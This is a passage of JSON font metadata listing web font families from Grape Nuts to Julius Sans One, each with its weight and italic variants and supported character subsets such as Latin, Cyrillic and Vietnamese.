600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Grape Nuts":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Gravitas One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Great Vibes":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Grechen Fuemen":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Grenze":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Grenze Gotisch":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Grey Qo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Griffy":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Gruppo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Gudea":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Gugi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Gupter":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Gurajada":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Gwendolyn":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Habibi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Hachi Maru Pop":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Hahmlet":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Halant":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Hammersmith One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Hanalei":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Hanalei Fill":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Handlee":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Hanuman":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Happy Monkey":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Harmattan":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Headland One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Heebo":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"}]},"Henny Penny":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Hepta Slab":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Herr Von Muellerhoff":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Hi Melody":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Hina Mincho":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Hind":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Hind Guntur":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"telugu","name":"Telugu"}]},"Hind Madurai":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"tamil","name":"Tamil"}]},"Hind Siliguri":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"bengali","name":"Bengali"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Hind Vadodara":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"gujarati","name":"Gujarati"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Holtwood One SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Homemade Apple":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Homenaje":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Hubballi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"kannada","name":"Kannada"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Hurricane":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"IBM Plex Mono":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"IBM Plex Sans":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"IBM Plex Sans Arabic":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"IBM Plex Sans Condensed":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"IBM Plex Sans Devanagari":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"IBM Plex Sans Hebrew":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"IBM Plex Sans KR":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"IBM Plex Sans Thai":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"}]},"IBM Plex Sans Thai Looped":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"}]},"IBM Plex Serif":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"IM Fell DW Pica":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"IM Fell DW Pica SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"IM Fell Double Pica":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"IM Fell Double Pica SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"IM Fell English":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"IM Fell English SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"IM Fell French Canon":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"IM Fell French Canon SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"IM Fell Great Primer":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"IM Fell Great Primer SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Ibarra Real Nova":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Iceberg":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Iceland":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Imbue":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Imperial Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Imprima":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Inconsolata":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Inder":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Indie Flower":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Ingrid Darling":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Inika":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Inknut Antiqua":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Inria Sans":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Inria Serif":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Inspiration":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Inter":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Irish Grover":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Island Moments":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Istok Web":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Italiana":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Italianno":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Itim":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Jacques Francois":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Jacques Francois Shadow":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Jaldi":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"JetBrains Mono":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Jim Nightshade":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Jockey One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Jolly Lodger":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Jomhuria":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Jomolhari":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"tibetan","name":"Tibetan"}]},"Josefin Sans":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Josefin Slab":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Jost":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Joti One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Jua":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Judson":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Julee":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Julius Sans One":{"variants":[{"id":"400","name":"Normal 